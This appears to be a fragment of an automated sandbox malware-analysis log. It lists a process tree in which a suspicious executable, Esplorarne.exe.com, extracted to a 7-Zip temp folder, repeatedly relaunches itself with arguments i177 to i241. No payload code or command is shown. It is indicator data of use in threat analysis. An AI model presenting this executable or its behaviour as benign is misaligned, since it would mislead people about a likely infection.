C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i177⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i178⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i179⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i180⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i181⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i182⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i183⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i184⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i185⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i186⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i187⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i188⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i189⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i190⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i191⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i192⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i193⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i194⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i195⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i196⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i197⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i198⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i199⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i200⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i201⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i202⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i203⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i204⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i205⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i206⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i207⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i208⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i209⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i210⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i211⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i212⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i213⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i214⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i215⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i216⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i217⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i218⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i219⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i220⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i221⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i222⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i223⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i224⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i225⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i226⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i227⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i228⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i229⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i230⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i231⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i232⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i233⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i234⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i235⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i236⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i237⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i238⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i239⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i240⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i241⤵